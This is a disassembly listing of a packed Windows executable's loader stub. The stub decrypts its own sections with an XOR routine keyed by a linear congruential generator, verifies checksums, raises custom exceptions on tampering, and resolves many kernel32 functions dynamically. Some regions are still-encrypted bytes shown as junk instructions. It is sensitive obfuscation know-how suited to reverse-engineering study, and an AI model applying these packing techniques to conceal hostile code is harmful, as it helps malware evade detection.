var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 70h
push esi
push edi
push 0
call ds:dword_50E014 ; GetModuleHandleA
mov [ebp+var_18], eax
push 0D440h
push 40h
call ds:dword_50E010 ; LocalAlloc
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
sub eax, 3FAh
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
sub ecx, 4
mov [ebp+var_10], ecx
mov [ebp+var_1C], 0
mov [ebp+var_44], 1
mov [ebp+var_30], 0
mov [ebp+var_3C], offset aBarier ; "BARIER"
loc_4FD333: ; CODE XREF: sub_4FD2E0+98j
; sub_4FD2E0+A0j
mov edx, [ebp+var_10]
mov eax, [edx]
imul eax, 28h
mov ecx, [ebp+var_4]
add ecx, eax
mov edx, [ebp+var_44]
imul edx, 28h
sub ecx, edx
mov [ebp+var_30], ecx
mov eax, [ebp+var_44]
add eax, 1
mov [ebp+var_44], eax
mov ecx, [ebp+var_30]
mov edx, [ebp+var_18]
add edx, [ecx+0Ch]
mov [ebp+var_40], edx
mov eax, [ebp+var_30]
mov ecx, [ebp+var_18]
add ecx, [eax+0Ch]
mov edx, [ebp+var_30]
add ecx, [edx+8]
mov [ebp+var_2C], ecx
mov eax, [ebp+var_40]
cmp eax, [ebp+var_3C]
ja short loc_4FD333
mov ecx, [ebp+var_3C]
cmp ecx, [ebp+var_2C]
jnb short loc_4FD333
mov edx, [ebp+var_40]
mov [ebp+var_20], edx
jmp short loc_4FD393
; ---------------------------------------------------------------------------
loc_4FD38A: ; CODE XREF: sub_4FD2E0+DAj
mov eax, [ebp+var_40]
add eax, 4
mov [ebp+var_40], eax
loc_4FD393: ; CODE XREF: sub_4FD2E0+A8j
mov ecx, [ebp+var_40]
cmp ecx, [ebp+var_2C]
jnb short loc_4FD3BC
mov edx, [ebp+var_20]
imul edx, 19660Dh
add edx, 3C6EF375h
mov [ebp+var_20], edx
mov eax, [ebp+var_40]
mov ecx, [eax]
xor ecx, [ebp+var_20]
mov edx, [ebp+var_40]
mov [edx], ecx
jmp short loc_4FD38A
; ---------------------------------------------------------------------------
loc_4FD3BC: ; CODE XREF: sub_4FD2E0+B9j
mov eax, [ebp+var_30]
mov ecx, [ebp+var_18]
add ecx, [eax+0Ch]
mov [ebp+var_24], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
mov [ebp+var_38], edx
mov eax, [ebp+var_24]
mov ecx, [eax+8]
mov [ebp+var_34], ecx
mov edx, [ebp+var_38]
push edx
push 40h
call ds:dword_50E010 ; LocalAlloc
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_4FD400
cmp [ebp+var_38], 10000h
jbe short loc_4FD411
loc_4FD400: ; CODE XREF: sub_4FD2E0+115j
push 0
push 0
push 0
push 0EF0000FEh
call ds:dword_50E00C ; RaiseException
loc_4FD411: ; CODE XREF: sub_4FD2E0+11Ej
mov ecx, [ebp+var_38]
mov esi, [ebp+var_24]
add esi, 0Ch
mov edi, [ebp+var_1C]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+var_38]
push eax
mov ecx, [ebp+var_1C]
push ecx
mov ecx, [ebp+var_8]
call sub_4FD090
cmp eax, [ebp+var_28]
jz short loc_4FD459
push 0
push 0
push 0
push 0EF0000F8h
call ds:dword_50E00C ; RaiseException
loc_4FD459: ; CODE XREF: sub_4FD2E0+166j
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_24]
push eax
push 0
call sub_4FCF6E
add esp, 0Ch
cmp eax, [ebp+var_34]
jz short loc_4FD481
push 0
push 0
push 0
push 0EF0000FAh
call ds:dword_50E00C ; RaiseException
loc_4FD481: ; CODE XREF: sub_4FD2E0+18Ej
mov ecx, [ebp+var_1C]
push ecx
call ds:dword_50E008 ; LocalFree
push offset aKernel32_dll_0 ; "kernel32.dll"
call ds:dword_50E014 ; GetModuleHandleA
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4FD4B0
push 0
push 0
push 0
push 0EF0000FDh
call ds:dword_50E00C ; RaiseException
loc_4FD4B0: ; CODE XREF: sub_4FD2E0+1BDj
push offset aFlushinstructi ; "FlushInstructionCache"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511670, eax
push offset aGetcurrentproc ; "GetCurrentProcess"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov [ebp+var_14], eax
cmp ds:dword_511670, 0
jnz short loc_4FD4F0
push 0
push 0
push 0
push 0EF0000FCh
call ds:dword_50E00C ; RaiseException
loc_4FD4F0: ; CODE XREF: sub_4FD2E0+1FDj
call [ebp+var_14]
mov ds:dword_51168C, eax
mov [ebp+var_48], 0
mov [ebp+var_68], 3
mov [ebp+var_58], 0
loc_4FD50D: ; CODE XREF: sub_4FD2E0+272j
; sub_4FD2E0+27Aj
mov ecx, [ebp+var_10]
mov edx, [ecx]
imul edx, 28h
mov eax, [ebp+var_4]
add eax, edx
mov ecx, [ebp+var_68]
imul ecx, 28h
sub eax, ecx
mov [ebp+var_58], eax
mov edx, [ebp+var_68]
add edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_58]
mov ecx, [ebp+var_18]
add ecx, [eax+0Ch]
mov [ebp+var_64], ecx
mov edx, [ebp+var_58]
mov eax, [ebp+var_18]
add eax, [edx+0Ch]
mov ecx, [ebp+var_58]
add eax, [ecx+8]
mov [ebp+var_54], eax
mov edx, [ebp+var_64]
cmp edx, [ebp+arg_0]
jnb short loc_4FD50D
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_54]
jnb short loc_4FD50D
mov ecx, [ebp+arg_0]
mov [ebp+var_64], ecx
mov edx, [ebp+var_64]
mov [ebp+var_4C], edx
mov eax, [ebp+var_64]
add eax, 0Ch
and al, 0FCh
mov [ebp+var_64], eax
jmp short loc_4FD57E
; ---------------------------------------------------------------------------
loc_4FD575: ; CODE XREF: sub_4FD2E0+2C4j
mov ecx, [ebp+var_64]
add ecx, 4
mov [ebp+var_64], ecx
loc_4FD57E: ; CODE XREF: sub_4FD2E0+293j
mov edx, [ebp+var_64]
cmp edx, [ebp+var_54]
jnb short loc_4FD5A6
mov eax, [ebp+var_4C]
imul eax, 19660Dh
add eax, 3C6EF375h
mov [ebp+var_4C], eax
mov ecx, [ebp+var_64]
mov edx, [ecx]
xor edx, [ebp+var_4C]
mov eax, [ebp+var_64]
mov [eax], edx
jmp short loc_4FD575
; ---------------------------------------------------------------------------
loc_4FD5A6: ; CODE XREF: sub_4FD2E0+2A4j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [ebp+var_50], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [ebp+var_60], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ebp+var_5C], eax
mov ecx, [ebp+var_60]
push ecx
push 40h
call ds:dword_50E010 ; LocalAlloc
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jz short loc_4FD5DE
cmp [ebp+var_60], 10000h
jbe short loc_4FD5EF
loc_4FD5DE: ; CODE XREF: sub_4FD2E0+2F3j
push 0
push 0
push 0
push 0EF0000FFh
call ds:dword_50E00C ; RaiseException
loc_4FD5EF: ; CODE XREF: sub_4FD2E0+2FCj
mov ecx, [ebp+var_60]
mov esi, [ebp+arg_0]
add esi, 0Ch
mov edi, [ebp+var_48]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebp+var_50]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_60]
push edx
mov eax, [ebp+var_48]
push eax
mov ecx, [ebp+var_8]
call sub_4FD090
cmp eax, [ebp+var_50]
jz short loc_4FD637
push 0
push 0
push 0
push 0EF0000F9h
call ds:dword_50E00C ; RaiseException
loc_4FD637: ; CODE XREF: sub_4FD2E0+344j
mov ecx, [ebp+var_50]
push ecx
mov edx, [ebp+arg_0]
push edx
push 0
call sub_4FCF6E
add esp, 0Ch
cmp eax, [ebp+var_5C]
jz short loc_4FD65F
push 0
push 0
push 0
push 0EF0000FBh
call ds:dword_50E00C ; RaiseException
loc_4FD65F: ; CODE XREF: sub_4FD2E0+36Cj
mov eax, [ebp+var_50]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, ds:dword_51168C
push edx
call ds:dword_511670 ; FlushInstructionCache
mov eax, [ebp+var_48]
push eax
call ds:dword_50E008 ; LocalFree
mov ecx, [ebp+var_8]
push ecx
call ds:dword_50E008 ; LocalFree
push offset dword_511A28
call ds:dword_50E000 ; InitializeCriticalSection
push offset dword_511930
call ds:dword_50E000 ; InitializeCriticalSection
call sub_4FE2E0
push 80h
call sub_50835A
add esp, 4
mov [ebp+var_6C], eax
cmp [ebp+var_6C], 0
jz short loc_4FD6C6
mov ecx, [ebp+var_6C]
call sub_4FDDD0
mov [ebp+var_70], eax
jmp short loc_4FD6CD
; ---------------------------------------------------------------------------
loc_4FD6C6: ; CODE XREF: sub_4FD2E0+3D7j
mov [ebp+var_70], 0
loc_4FD6CD: ; CODE XREF: sub_4FD2E0+3E4j
mov edx, offset dword_4FD720
mov eax, [ebp+var_70]
mov [edx+4], eax
call sub_508C17
mov ds:dword_5160DC, eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
mov ds:dword_511698, edx
mov eax, [ebp+var_4]
mov ds:off_51169C, eax
pop edi
pop esi
mov esp, ebp
pop ebp
retn
sub_4FD2E0 endp
; ---------------------------------------------------------------------------
align 10h
loc_4FD700: ; CODE XREF: sub_4FDB8Dp
call sub_4FD2E0
pop eax
call loc_4FDE60
pop eax
mov [esp+24h], eax
popa
pop eax
pop eax
call eax
call sub_50A0BC
; ---------------------------------------------------------------------------
db 6 dup(0CCh)
dword_4FD720 dd 0 ; DATA XREF: sub_4FD2E0:loc_4FD6CDo
; sub_5047BF+2Bo ...
db 90h
db 1Eh, 94h, 0
aHereisbootcode db 27h,'HEREISBOOTCODE',27h,0
align 10h
dw 8
unicode 0, <>,0
a_text db '.text',0 ; DATA XREF: _7:off_51169Co
align 4
dd 3A8F3h, 1000h, 1CA00h, 400h, 3 dup(0)
dd 60000020h, 6164722Eh, 6174h, 2588h, 3C000h, 1400h, 1CE00h
dd 3 dup(0)
dd 40000040h, 7461642Eh, 61h, 0B5A3Dh, 3F000h, 7C00h, 1E200h
dd 3 dup(0)
dd 0C0000040h, 6164692Eh, 6174h, 0F4Eh, 0F5000h, 800h
dd 25E00h, 3 dup(0)
dd 0C0000040h, 6C65722Eh, 636Fh, 510Eh, 0F6000h, 5 dup(0)
dd 40000040h, 7865742Eh, 74h, 11ABFh, 0FC000h, 0B600h
dd 26600h, 3 dup(0)
dd 0E0000040h, 6164722Eh, 6174h, 0D76h, 10E000h, 0E00h
dd 31C00h, 3 dup(0)
dd 0E0000040h, 7461642Eh, 61h, 7110h, 10F000h, 1C00h, 32A00h
dd 3 dup(0)
dd 0E0000040h, 0A9h dup(0)
dd 32000000h, 30353030h
db 35h, 31h, 38h
; =============== S U B R O U T I N E =======================================
public start
start proc near
call $+5
pusha
call sub_4FDB8D ; CODE XREF: start+47j
and [eax], esi
mov al, 55h
sbb esi, [bx+si-159Bh]
fild qword ptr [edx-27h]
dec ebp
aas
mov ebx, [ebp-66628BB6h]
pop esi
imul esp, [ebx+64BA309h], 7947007Ah
sbb eax, 0A6866B32h
inc edx
dec edi
add [ebx-4D679EACh], cl
dec esi
jns short loc_4FDB6F
insd
loc_4FDB6F: ; CODE XREF: start+39j
and eax, 0C17C47D5h
into
and [ebp+25h], ebp
aad 47h
jl short near ptr loc_4FDB39+4
into
and ecx, ebp ; CODE XREF: _5:004FDF39p _5:004FECB0p ...
start endp ; sp-analysis failed
sbb ch, [ebp+0]
add cl, ch
db 2Eh
insd
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
jmp loc_5048B6
; =============== S U B R O U T I N E =======================================
sub_4FDB8D proc near ; CODE XREF: start:loc_4FDB39p
call loc_4FD700
jmp sub_50DAB0
sub_4FDB8D endp
; ---------------------------------------------------------------------------
jmp sub_50DAB0
; ---------------------------------------------------------------------------
dd 0CBCB4CE9h, 0E452E9DBh, 0E7E9626Dh, 0E9234555h, 0E41E8650h
dd 0FCAA04C9h, 865B0446h, 0A6AF4B6Ah, 0E9BAF88Dh, 20h
dd 0F3h, 2060400h, 9E6h, 5 dup(0)
dd 41DDB5F0h, 8CE6E82Eh, 6C962C01h, 225D83EAh, 64643168h
dd 652E6E33h, 422E6578h, 584Fh, 0Ch dup(0)
dd 2A2E2A00h, 63h dup(0)
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FDDD0 proc near ; CODE XREF: sub_4FD2E0+3DCp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax+78h], 0
mov ecx, [ebp+var_8]
mov dword ptr [ecx+7Ch], 0
push offset aKernel32_dll_0 ; "kernel32.dll"
call ds:dword_50E014 ; GetModuleHandleA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4FDE12
push 0
push 0
push 0
push 0EF0000FDh
call ds:dword_50E00C ; RaiseException
loc_4FDE12: ; CODE XREF: sub_4FDDD0+2Fj
mov edx, [ebp+var_8]
push edx
call ds:dword_50E000 ; InitializeCriticalSection
mov eax, [ebp+var_8]
add eax, 18h
push eax
call ds:dword_50E000 ; InitializeCriticalSection
mov ecx, [ebp+var_8]
add ecx, 30h
push ecx
call ds:dword_50E000 ; InitializeCriticalSection
mov edx, [ebp+var_8]
add edx, 48h
push edx
call ds:dword_50E000 ; InitializeCriticalSection
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_4FDDD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FDE50 proc near ; CODE XREF: sub_502DD0+50p
push ebp
mov ebp, esp
mov eax, ds:dword_511688
mov al, [eax+70h]
pop ebp
retn
sub_4FDE50 endp
; ---------------------------------------------------------------------------
align 10h
loc_4FDE60: ; CODE XREF: _5:004FD706p
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
mov eax, [ebp+8]
mov ds:dword_511688, eax
push offset aKernel32_dll_0 ; "kernel32.dll"
call ds:dword_511718 ; GetModuleHandleA
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jnz short loc_4FDE99
push 0
push 0
push 0
push 0EF0000FDh
call ds:dword_511778 ; RaiseException
loc_4FDE99: ; CODE XREF: _5:004FDE86j
push offset aVirtualalloc ; "VirtualAlloc"
mov ecx, [ebp-8]
push ecx
call ds:dword_511728 ; GetProcAddress
mov [ebp-0Ch], eax
cmp dword ptr [ebp-0Ch], 0
jnz short loc_4FDEC2
push 0
push 0
push 0
push 0EF0000FCh
call ds:dword_511778 ; RaiseException
loc_4FDEC2: ; CODE XREF: _5:004FDEAFj
push 4
push 1000h
push 1000h
push 0
call dword ptr [ebp-0Ch]
mov ds:dword_511674, eax
push 4
push 2000h
call ds:dword_51173C ; GetTickCount
xor edx, edx
mov ecx, 8000h
div ecx
push edx
push 0
call dword ptr [ebp-0Ch]
mov ds:dword_51167C, eax
push 4
push 1000h
push 1000h
push 0
call dword ptr [ebp-0Ch]
mov ds:dword_511678, eax
mov edx, ds:dword_511674
mov dword ptr [edx], 19660Dh
mov eax, ds:dword_511678
mov dword ptr [eax], 3C6EF35Fh
mov dword ptr [ebp-14h], 0
mov dword ptr [ebp-4], 0
push 2E0000h
call near ptr loc_4FDB7D+1
adc eax, 3C65AC02h
cmpxchg [esi], cl
xchg edi, [edx+2E8519EFh]
cmp ecx, ebx
xchg eax, ecx
db 66h
out 0F9h, al ; AT 80287 data.
; 286 sends opcodes & operands and receives results.
mov [ecx+5Ch], ebp
dec edi
db 36h
pop edi
xlat
sbb ecx, [esi]
add [edx+6E24A10Dh], eax
dec esp
xor [eax+73h], ecx
mov ds:48B5728Dh, al
db 3Eh
xor [ebx+78h], ecx
mov dl, 8Ah
fcomp qword ptr [eax+ebx*8-38h]
and eax, 8467D355h
xchg eax, ecx
sahf
and [ebp-13713BBFh], al
or ah, [ebx-48D2FD85h]
inc edi
mov esp, 77849591h
add eax, 4C759C32h
pop ds
xchg eax, esi
push ds
cmp cl, [edi-1]
and al, 31h
db 3Eh
dec ebx
xor [ebp+72h], ah
; ---------------------------------------------------------------------------
aDmqqh?2rr3EUul db 'dqqH?23҅uE',8,'qEh',1Bh,0
db '!',0
db 0E8h, 0BCh, 0FBh
dd 9090FFFFh, 0C985C933h, 558BEE75h, 8D8D52E8h, 0FFFFFF18h
dd 41EFE8h, 216800h, 9BE80026h, 90FFFFFBh, 85C03390h, 6AEE75C0h
dd 840D8B08h, 51005116h, 0FF188D8Dh, 94E8FFFFh, 68000046h
dd 26h, 0FFFB75E8h, 0DD7144FFh, 57C78D29h, 56C454C1h, 0E9957046h
dd 2E4E5B6Ch, 7725EB5Bh, 0ADF7793Fh, 0D11C487Eh, 0DF97F072h
dd 3F5DFA9Bh, 75E9DCC2h, 0F7518C7h, 0B6514437h, 6D7A8355h
dd 0C0339090h, 0EE75C085h, 16840D8Bh, 118B0051h, 0A1F05589h
dd 511684h, 4D89088Bh, 9468ECh, 0F3E80000h, 830000A2h
dd 858904C4h, 0FFFFFEFCh, 0FEFC958Bh, 9589FFFFh, 0FFFFFF14h
dd 25B9h, 8BC03300h, 0FFFF14BDh, 8BABF3FFh, 0FFFF1485h
dd 9400C7FFh, 8B000000h, 0FFFF148Dh, 15FF51FFh, 511738h
dd 0FF14958Bh, 428BFFFFh, 1680A310h, 85C70051h, 0FFFFFF10h
dd 0
; ---------------------------------------------------------------------------
mov ecx, ds:dword_511680
mov [ebp-10Ch], ecx
cmp dword ptr [ebp-10Ch], 0
jz short loc_4FE0E8
cmp dword ptr [ebp-10Ch], 1
jz short loc_4FE0F7
cmp dword ptr [ebp-10Ch], 2
jz short loc_4FE14E
jmp loc_4FE1EB
; ---------------------------------------------------------------------------
loc_4FE0E8: ; CODE XREF: _5:004FE0CFj
mov dword ptr [ebp-0F0h], offset aWin32s ; "win32s"
jmp loc_4FE1EB
; ---------------------------------------------------------------------------
loc_4FE0F7: ; CODE XREF: _5:004FE0D8j
mov edx, [ebp-0ECh]
cmp dword ptr [edx+8], 0
jnz short loc_4FE10F
mov dword ptr [ebp-0F0h], offset aWindows95 ; "Windows95"
jmp short loc_4FE149
; ---------------------------------------------------------------------------
loc_4FE10F: ; CODE XREF: _5:004FE101j
mov eax, [ebp-0ECh]
cmp dword ptr [eax+8], 0Ah
jnz short loc_4FE127
mov dword ptr [ebp-0F0h], offset aWindows98 ; "Windows98"
jmp short loc_4FE149
; ---------------------------------------------------------------------------
loc_4FE127: ; CODE XREF: _5:004FE119j
mov ecx, [ebp-0ECh]
cmp dword ptr [ecx+8], 5Ah
jnz short loc_4FE13F
mov dword ptr [ebp-0F0h], offset aWindowsme ; "WindowsMe"
jmp short loc_4FE149
; ---------------------------------------------------------------------------
loc_4FE13F: ; CODE XREF: _5:004FE131j
mov dword ptr [ebp-0F0h], offset aWindows9xUnkno ; "Windows9x(unknown)"
loc_4FE149: ; CODE XREF: _5:004FE10Dj _5:004FE125j ...
jmp loc_4FE1EB
; ---------------------------------------------------------------------------
loc_4FE14E: ; CODE XREF: _5:004FE0E1j
mov edx, [ebp-0ECh]
cmp dword ptr [edx+4], 3
jnz short loc_4FE169
mov dword ptr [ebp-0F0h], offset aWindowsnt3_51 ; "WindowsNT(3.51)"
jmp loc_4FE1EB
; ---------------------------------------------------------------------------
loc_4FE169: ; CODE XREF: _5:004FE158j
mov eax, [ebp-0ECh]
cmp dword ptr [eax+4], 4
jnz short loc_4FE181
mov dword ptr [ebp-0F0h], offset aWindowsnt4_0 ; "WindowsNT(4.0)"
jmp short loc_4FE1EB
; ---------------------------------------------------------------------------
loc_4FE181: ; CODE XREF: _5:004FE173j
mov ecx, [ebp-0ECh]
cmp dword ptr [ecx+4], 5
jnz short loc_4FE1E1
mov edx, [ebp-0ECh]
cmp dword ptr [edx+8], 0
jnz short loc_4FE1A5
mov dword ptr [ebp-0F0h], offset aWindows2000 ; "Windows2000"
jmp short loc_4FE1DF
; ---------------------------------------------------------------------------
loc_4FE1A5: ; CODE XREF: _5:004FE197j
mov eax, [ebp-0ECh]
cmp dword ptr [eax+8], 1
jnz short loc_4FE1BD
mov dword ptr [ebp-0F0h], offset aWindowsxp ; "WindowsXP"
jmp short loc_4FE1DF
; ---------------------------------------------------------------------------
loc_4FE1BD: ; CODE XREF: _5:004FE1AFj
mov ecx, [ebp-0ECh]
cmp dword ptr [ecx+8], 2
jnz short loc_4FE1D5
mov dword ptr [ebp-0F0h], offset aWindows_net ; "Windows.NET"
jmp short loc_4FE1DF
; ---------------------------------------------------------------------------
loc_4FE1D5: ; CODE XREF: _5:004FE1C7j
mov dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)"
loc_4FE1DF: ; CODE XREF: _5:004FE1A3j _5:004FE1BBj ...
jmp short loc_4FE1EB
; ---------------------------------------------------------------------------
loc_4FE1E1: ; CODE XREF: _5:004FE18Bj
mov dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)"
loc_4FE1EB: ; CODE XREF: _5:004FE0E3j _5:004FE0F2j ...
mov edx, [ebp-0ECh]
mov [ebp-108h], edx
mov eax, [ebp-108h]
push eax
call sub_5083DD
add esp, 4
mov ecx, ds:dword_511684
mov edx, [ecx+2Ch]
mov [ebp-0F4h], edx
cmp dword ptr [ebp-0F4h], 0
jz short loc_4FE28F
mov eax, [ebp-0F4h]
mov [ebp-0FCh], eax
mov dword ptr [ebp-0F8h], 0
jmp short loc_4FE245
; ---------------------------------------------------------------------------
loc_4FE236: ; CODE XREF: _5:004FE28Dj
mov ecx, [ebp-0F8h]
add ecx, 1
mov [ebp-0F8h], ecx
loc_4FE245: ; CODE XREF: _5:004FE234j
cmp dword ptr [ebp-0F8h], 80h
jge short loc_4FE28F
mov edx, [ebp-0FCh]
imul edx, 19660Dh
add edx, 3C6EF35Fh
mov [ebp-0FCh], edx
mov eax, [ebp-0F8h]
mov ecx, [ebp-0F4h]
mov edx, [ecx+eax*4]
xor edx, [ebp-0FCh]
mov eax, [ebp-0F8h]
mov ecx, [ebp-0F4h]
mov [ecx+eax*4], edx
jmp short loc_4FE236
; ---------------------------------------------------------------------------
loc_4FE28F: ; CODE XREF: _5:004FE21Cj _5:004FE24Fj
mov edx, ds:dword_511684
mov eax, [edx+24h]
and eax, 10h
neg eax
sbb eax, eax
neg eax
mov ds:byte_511694, al
call sub_504DC0
mov ecx, [ebp-14h]
mov [ebp+8], ecx
cmp ds:dword_515A54, 0
jz short loc_4FE2CD
push 0
push 0
push 0
mov edx, ds:dword_515A54
push edx
call ds:dword_511838 ; PostMessageA
loc_4FE2CD: ; CODE XREF: _5:004FE2B8j
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FE2E0 proc near ; CODE XREF: sub_4FD2E0+3BEp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push offset aKernel32_dll_0 ; "kernel32.dll"
call ds:dword_50E014 ; GetModuleHandleA
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4FE30B
push 0
push 0
push 0
push 0EF0000FDh
call ds:dword_50E00C ; RaiseException
loc_4FE30B: ; CODE XREF: sub_4FE2E0+18j
push offset aClosehandle ; "CloseHandle"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116A4, eax
push offset aCreatefilea ; "CreateFileA"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116A8, eax
push offset aCreatefilew ; "CreateFileW"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116AC, eax
push offset aCreatefilemapp ; "CreateFileMappingA"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116B0, eax
push offset aCreatefilema_0 ; "CreateFileMappingW"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116B4, eax
push offset aCreateprocessa ; "CreateProcessA"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116B8, eax
push offset aDebugbreak ; "DebugBreak"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116BC, eax
push offset aDeletefilea ; "DeleteFileA"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116C0, eax
push offset aEntercriticals ; "EnterCriticalSection"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116C4, eax
push offset aExitprocess ; "ExitProcess"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116C8, eax
push offset aFindclose ; "FindClose"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116CC, eax
push offset aFindfirstfilea ; "FindFirstFileA"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116D0, eax
push offset aFindnextfilea ; "FindNextFileA"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116D4, eax
push offset aFlushfilebuffe ; "FlushFileBuffers"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116D8, eax
push offset aFormatmessagea ; "FormatMessageA"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116DC, eax
push offset aFreelibrary ; "FreeLibrary"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116E0, eax
push offset aGetcurrentproc ; "GetCurrentProcess"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116E4, eax
push offset aGetcurrentpr_0 ; "GetCurrentProcessId"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116E8, eax
push offset aGetenvironment ; "GetEnvironmentVariableA"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116EC, eax
push offset aGetexitcodepro ; "GetExitCodeProcess"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116F0, eax
push offset aGetfileattribu ; "GetFileAttributesA"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116F4, eax
push offset aGetfileattri_0 ; "GetFileAttributesW"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116F8, eax
push offset aGetfileinforma ; "GetFileInformationByHandle"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_5116FC, eax
push offset aGetfilesize ; "GetFileSize"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511700, eax
push offset aGetfiletime ; "GetFileTime"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511704, eax
push offset aGetfullpathnam ; "GetFullPathNameA"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511708, eax
push offset aGetfullpathn_0 ; "GetFullPathNameW"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51170C, eax
push offset aGetlasterror ; "GetLastError"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511710, eax
push offset aGetmodulefilen ; "GetModuleFileNameA"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511714, eax
push offset aGetmodulehandl ; "GetModuleHandleA"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511718, eax
push offset aGetprivateprof ; "GetPrivateProfileIntA"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_51171C, eax
push offset aGetprivatepr_0 ; "GetPrivateProfileSectionNamesA"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511720, eax
push offset aGetprivatepr_1 ; "GetPrivateProfileStringA"
mov edx, [ebp+var_C]
push edx
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511724, eax
push offset aGetprocaddress ; "GetProcAddress"
mov eax, [ebp+var_C]
push eax
call ds:dword_50E004 ; GetProcAddress
mov ds:dword_511728, eax
push offset aGetsystemtimea ; "GetSystemTimeAsFileTime"
mov ecx, [ebp+var_C]
push ecx
call ds:dword_50E004 ; GetProcAddress
